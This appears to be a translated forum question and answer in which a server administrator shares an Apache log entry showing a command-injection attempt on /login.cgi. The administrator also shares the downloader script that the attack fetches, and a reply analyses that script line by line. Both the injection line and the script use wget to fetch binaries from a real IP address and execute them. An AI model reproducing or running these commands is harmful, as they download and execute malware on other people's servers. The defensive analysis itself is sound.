J'ai remarqué sur mes serveurs les journaux Apache, les lignes étranges suivantes récemment:
156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"
J'ai donc créé un filtre personnalisé Fail2Ban et commencé à interdire les adresses IP demandant ces URL /login.cgi.
Mais j'étais curieux de savoir ce qu'ils essayaient de faire, alors j'ai tiré le script qu'ils essayaient d'exécuter et je n'arrive pas à comprendre ce qu'il fait exactement. Quelque chose à propos de la suppression des dossiers Arch dans/var et/tmp?
Quoi qu'il en soit, la voici:
#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
do
rm -rf $u
cp $Shell $u
chmod 777 $u
>$u
wget http://$http_server:$http_port/$name -O -> $u
./$u $name
done
Ligne par ligne:
#!/bin/sh
Etablit la coquille sh
, quelle que soit celle définie, en tant que ligne Shebang. sh%20/tmp/ks
dans la demande remplace ceci, donc cette ligne est traitée comme un commentaire normal et ignorée.
u="asgknskjdgn"
Déclare un nom arbitraire, sans doute pour éviter toute collision avec d'autres noms de fichiers. Je ne sais pas pourquoi ils n'utilisent pas simplement mktemp
, mais peut-être que ce n'est pas disponible sur toutes les plateformes.
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
Énumère plusieurs architectures de CPU courantes.
http_server="80.211.173.159"
http_port=80
Le serveur qui a l'exploit.
cd /tmp/||cd /var/
Essaie de changer de répertoire quelque part sur votre serveur Web est susceptible de pouvoir créer des fichiers. Je pense que SELinux y contribuera en appliquant des règles beaucoup plus strictes sur ce que le serveur Web peut faire que le système de fichiers à lui seul.
for name in $bin_names
do
Pour chaque architecture de CPU…
rm -rf $u
Supprime les programmes d’exploitation essayés précédemment. Inutile à cause de la ligne suivante, peut donc être ignoré.
cp $Shell $u
Copie l'exécutable du shell actuel (/bin/sh
). Peut être ignoré à cause de la ligne après next.
chmod 777 $u
Donne à tout le monde un accès complet au nouveau fichier. Cela aurait dû être après la commande wget
, qui est soit un signe d'un débutant en script de shell, soit une technique de mauvaise direction.
>$u
Vide le fichier. Inutile à cause de la ligne suivante.
wget http://$http_server:$http_port/$name -O -> $u
Ecrase le fichier avec le script d’exploitation de cette architecture. -O -> $u
aurait pu être écrit -O - > $u
(le trait d'union indique que le téléchargement doit être écrit sur la sortie standard), ce qui équivaut à -O $u
.
./$u $name
Exécute le script d’exploitation avec l’architecture comme premier argument.
done
Termine la boucle.
Il semble que ce soit un script de tentative d’exploit trivial, qui tente d’exploiter des exploits connus sur diverses plates-formes de processeur. Je ne sais pas pourquoi il écrase $u
trois fois, mais ces opérations pourraient tout simplement être des restes d'une précédente itération du script. Vraisemblablement, la version précédente avait les exploits codés en dur plutôt que dynamiquement servis - la première est plus facile mais garantit presque que le script sera moins efficace avec le temps, à mesure que les bogues seront corrigés.
La wget
est la principale ligne dangereuse.
Le for name in $bin_names
parcourt la liste des plates-formes et efface un répertoire temporaire pour chaque plate-forme, copie un shell et le rend accessible à tous.
Il télécharge ensuite un fichier à l'aide de wget
et l'exécute ensuite à l'aide du programme Shell qu'il vient de copier.
Le script tente en gros de télécharger une série d’exécutables ou de scripts pour chaque plate-forme possible et de les frotter contre votre système dans l’espoir de compromettre davantage votre système.